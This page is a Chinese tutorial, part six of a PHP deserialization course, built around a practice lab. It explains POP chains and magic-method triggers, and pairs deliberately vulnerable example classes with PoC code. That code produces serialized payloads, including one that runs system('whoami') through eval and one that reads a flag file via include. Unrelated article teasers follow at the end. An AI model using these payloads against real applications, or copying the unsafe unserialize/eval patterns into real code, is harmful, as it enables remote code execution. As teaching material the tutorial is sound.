WEB渗透—反序列化(六)

news/2024/10/25 19:27:50/

Web渗透—反序列化        课程学习分享(课程非本人制作,仅提供学习分享)


靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场

课程地址:PHP反序列化漏洞学习_哔哩哔_bilibili


十、pop链前置知识-成员属性赋值对象

1.反序列化例题

<?php
class index {private $test;public function __construct(){$this->test = new normal();}public function __destruct(){         //反序列化unserialize()触发魔术方法destruct()$this->test->action();            //destruct()从$test调用action()}
}
class normal {public function action(){echo "please attack me";}
}
class evil {var $test2;public function action(){             //eval()调用$test2eval($this->test2);               //可利用漏洞点在函数eval(),(可执行漏洞)}
}
unserialize($_GET['test']);
?>

关联点:如何让$test调用evil里面的成员方法action()

解决思路:给$test赋值为对象test = new evil()

2.解题代码

<?php
class index {private $test;public function __construct(){$this->test = new evil();        //关联步骤:给$test赋值实例化对象test = new evil()}
}
class evil {                             //序列化只能序列化成员属性,不能序列化成员方法var $test2 = "system('whoami');";    //构造命令语句
}
$a = new index();                        //实例化对象index(),自动调用__construct()
echo urlencode(serialize($a));
?>

输出结果:

O%3A5%3A%22index%22%3A1%3A%7Bs%3A11%3A%22%00index%00test%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A5%3A%22test2%22%3Bs%3A17%3A%22system%28%27whoami%27%29%3B%22%3B%7D%7D

解题方法:

此时$a为实例化对象index(),其中成员属性$test=new evil(),$test为实例化对象evil(),成员属性$test=”system(‘whoami’);”;

回显结果:


十一、pop链前置知识-魔术方法触发规则

魔术方法触发的前提:魔术方法所在类(或对象)被调用

1.例题代码

(目标:显示toString is here!!

<?php
class fast {public $source;public function __wakeup(){echo "wakeup is here!!";echo  $this->source;             //3.在echo中的source包含实例化sec()的对象}
}
class sec {var $benben;public function __tostring(){        //2.把sec()实例化成对象后当成字符串输出echo "tostring is here!!";       //1.需要触发__toString()}
}
$b = $_GET['benben'];
unserialize($b);
?>

2.解题代码

<?php
class fast {public $source;
}
class sec {var $benben;
}
$a = new fast();
$b = new sec();
$a -> source = $b;      //将$b当成字符串赋值给source
echo serialize($a);     //在触发wakeup后执行echo从而触发sec里的__toString
?>

在对象$a里让source赋值对象$b,再触发wakeup后执行echo从而触发sec里的toString

输出结果:

O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}

回显结果:


十二、pop链构造和poc编写

1.POP链

在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在PHP反序列化中有一种漏洞利用方法叫“面向属性编程”,即POP(Property Oriented Programming)。

POP链就是利用魔法方法在里面进行多次跳转然后获得敏感数据的一种payload。

2.POC编写

POC(全称:Proof of concept)中文译做概念验证。在安全界可以理解成漏洞验证程序,POC是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。

编写一段不完整的程序,获取所需要的的序列化字符串。

3.例题代码

<?php
//flag is in flag.php
class Modifier {private $var;public function append($value){include($value);echo $flag;                   //1.目标:触发echo输出$flag}public function __invoke(){       //2.触发invoke,调用append,并使$var=flag.php$this->append($this->var);    //3.invoke触发条件:把对象当成函数}
}
class Show{public $source;public $str;public function __toString(){     //7.触发toString(触发条件:把对象当做字符串)return $this->str->source;//6.给$str赋值为对象Test,而Test中不存在成员属性source,则可触发Test里的成员方法}public function __wakeup(){echo $this->source;           //8.给$source赋值为对象Show,当成字符串被echo调用,触发toString}
}
class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){     //5.触发get,(触发条件:调用不存在的成员属性)$function = $this->p;        //4.给$p赋值为对象,即function成为对象Modifier,却被当成函数调用,触发Modifier中的invoke}return $function();
}
if(isset($_GET['pop'])){unserialize($_GET['pop']);
}
?>

解题思路:

第一步:触发invoke,使$var=flag.php;

第二步:触发get,给$p赋值为对象Modifier

第三步:触发toString,给$str赋值为对象Test

第四步:触发wakeup,给$source赋值为对象Show

4.解题代码

<?php
class Modifier {private $var="flag.php";     //根据提示flag在flag.php,将$var赋值为flag.php
}
class Show{public $source;public $str;
}
class Test{public $p;
}
$a = new Modifier();             //实例化Modifier为$a
$b = new Show();                 //实例化Show为$b
$c = new Test();                 //实例化Test为$c
$c -> p = $a;
$b -> str = $c;
$b -> source = $b;
echo urlencode(serialize($b));
?>

输出结果:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D 

回显结果:

获得ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}


http://www.ppmy.cn/news/1249847.html

相关文章

Android帝国之进程杀手--lmkd

本文概要 这是Android系统启动的第三篇文章&#xff0c;本文以自述的方式来讲解lmkd进程&#xff0c;通过本文您将了解到lmkd进程在安卓系统中存在的意义&#xff0c;以及它是如何杀进程的。&#xff08;文中的代码是基于android13&#xff09; 我是谁 init&#xff1a;“大…

QT配合CSS隐藏按钮

第一种方法 在Qt的CSS样式表中&#xff0c;使用 visibility 属性来隐藏按钮。设置 visibility 为 hidden 不可见&#xff0c;而设置为 visible 则可见。 隐藏所有 QPushButton QPushButton {visibility: hidden; }隐藏特定的按钮&#xff0c;用按钮的名称或样式类进行定位就…

解码 SQL:深入探索 Antlr4 语法解析器背后的奥秘

探寻SQL的背后机制 前言 在数据领域&#xff0c;SQL&#xff08;Structured Query Language&#xff09;是一门广泛使用的语言&#xff0c;用于查询和处理数据。你可能已经使用过诸如MySQL、Hive、ClickHouse、Doris、Spark和Flink等工具来编写SQL查询。 每一种框架都提供了…

第五届全国高校计算机能力挑战赛-程序设计挑战赛(C语言模拟题)

1、已有定义“int a[10]{1,2},i0;”&#xff0c;下面语句中与“ a[i]a[i1],i;”等价的是()。 A. a[i]a[i1]; B. a[i]a[i]; C. a[i]a[i1]; D. i,a[i-1]a[i]; 2、两次运行下面的程序&#xff0c;如果从键盘上分别输入6和4&#xff0c;则输出结果是(&#xff09;。 A. 7和5 …

指向脚本时报错: ./install-oatpp-modules.sh: 17: Syntax error: “(“ unexpected

报错: ./install-oatpp-modules.sh: 17: Syntax error: “(” unexpected 解决办法 将 #!/bin/sh改为 #!/bin/bash或 将 #!/bin/bash改为 #!/bin/sh报错原因 The function keyword is supported in many modern shells, including Bash, which is an extended version …

CE认证关于电动滑板车安全标准EN17128和电动自行车EN15194电磁兼容测试解析

本标准适用于有或没有自平衡系统的全部或部分由自给式电源供电的个人轻型电动汽车&#xff0c;除无人值守站值守站租用的电动汽车外。自平衡系统完全或部分由最高100VDC电池电压的独立电源供电&#xff0c;并配备或无输入电压高达240VAC的集成电池充电器。该标准规定了与个人轻…

Node.js 万字教程

0. 基础概念 Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境&#xff0c;使用了一个事件驱动、非阻塞式 I/O 模型&#xff0c;让 JavaScript 运行在服务端的开发平台。 官方地址&#xff1a;https://nodejs.org/en 中文地址&#xff1a;https://nodejs.org/zh-cn 代…

zookeeper集群(很少用)+kafka集群(常用)

一、zookeeper zookeeperkafka&#xff08;2.7.0版本&#xff09; kafka&#xff08;3.4.1版本&#xff09;不依赖于zookeeper 1、定义&#xff1a;zookeeper开源&#xff0c;分布式架构&#xff0c;提供协调服务&#xff08;Apache项目&#xff09;&#xff0c;基于观察者模…